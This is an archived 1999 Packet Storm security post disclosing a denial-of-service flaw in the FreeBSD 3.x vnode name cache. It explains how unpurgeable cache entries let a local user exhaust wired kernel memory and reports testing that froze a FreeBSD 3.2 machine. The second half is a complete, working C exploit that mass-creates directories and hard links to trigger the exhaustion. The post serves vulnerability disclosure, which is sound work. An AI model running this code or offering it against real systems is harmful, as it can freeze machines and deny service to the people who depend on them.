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packetstormPacket StormPACKETSTORM:16050
HistorySep 28, 1999 - 12:00 a.m.

FreeBSD_DoS.txt

1999-09-2800:00:00
Packet Storm
packetstormsecurity.com
28
`[Resending once, since it's been 10.5 days...]  
  
Here's an interesting denial-of-service attack against FreeBSD >=3.0  
systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no  
way to purge entries unless the `vnode' (e.g. the file) they point to  
is removed from memory -- which generally doesn't happen unless a  
certain magic number of `vnodes' is in use, and never happens when the  
`vnode' (i.e. file) is open. Thus it's possible to chew up an  
arbitrary amount of wired kernel memory relatively simply.  
  
What strikes me as funny about this is that the relevant code in  
4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*  
susceptible to such an attack, and all of the code to prevent it was  
intentionally removed.  
  
I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,  
and it chugged along to about `02/03000' (meaning it created 3 files  
and about 63000 or so links), consuming a whopping 34MB of wired  
kernel memory (according to `top'), before all file system activity  
came to a screeching halt and the machine was unusable.  
  
This exploit does not affect Linux 2.0.36, or any version of NetBSD.  
I have not tested Linux versions >=2.1 (which have a different  
implementation of the equivalent code from 2.0.36), but based on code  
inspection, I do not believe it to be vulnerable to this particular  
attack.  
  
Note that, although it may seem like setting quotas is a good solution  
to this problem, if the FreeBSD system is acting as a NFS client, it's  
possible to use a variant of the attack that only creates one file and  
keeps at most one link to it at any given time.  
  
Also note that it may be possible to exercise this against a FTP  
server with a writable directory if the server has a way of creating  
hard links. (I'm not aware of any that do, but I point this out for  
completeness.)  
  
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----  
#include <stdio.h>  
#include <unistd.h>  
#include <sys/stat.h>  
  
#define NFILE 64  
#define NLINK 30000  
#define NCHAR 245  
  
int  
main()  
{  
char junk[NCHAR+1],  
dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];  
int i, j;  
struct stat sb;  
  
memset(junk, 'x', NCHAR);  
junk[NCHAR] = '\0';  
for (i = 0; i < NFILE; i++) {  
printf("\r%02d/%05d...", i, 0),  
fflush(stdout);  
sprintf(dir, "%02d-%02d", i, 0);  
if (mkdir(dir, 0755) < 0)  
fprintf(stderr, "mkdir(%s) failed\n", dir),  
exit(1);  
sprintf(file1, "%s/%s%03d", dir, junk, 0);  
if (creat(file1, 0644) < 0)  
fprintf(stderr, "creat(%s) failed\n", file1),  
exit(1);  
if (stat(file1, &sb) < 0)  
fprintf(stderr, "stat(%s) failed\n", file1),  
exit(1);  
for (j = 1; j < NLINK; j++) {  
if ((j % 1000) == 0) {  
printf("\r%02d/%05d...", i, j),  
fflush(stdout);  
sprintf(dir, "%02d-%02d", i, j/1000);  
if (mkdir(dir, 0755) < 0)  
fprintf(stderr, "mkdir(%s) failed\n", dir),  
exit(1);  
}  
sprintf(file2, "%s/%s%03d", dir, junk, j%1000);  
if (link(file1, file2) < 0)  
fprintf(stderr, "link(%s,%s) failed\n", file1, file2),  
exit(1);  
if (stat(file2, &sb) < 0)  
fprintf(stderr, "stat(%s) failed\n", file2),  
exit(1);  
}  
}  
printf("\rfinished successfully\n");  
}  
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----  
`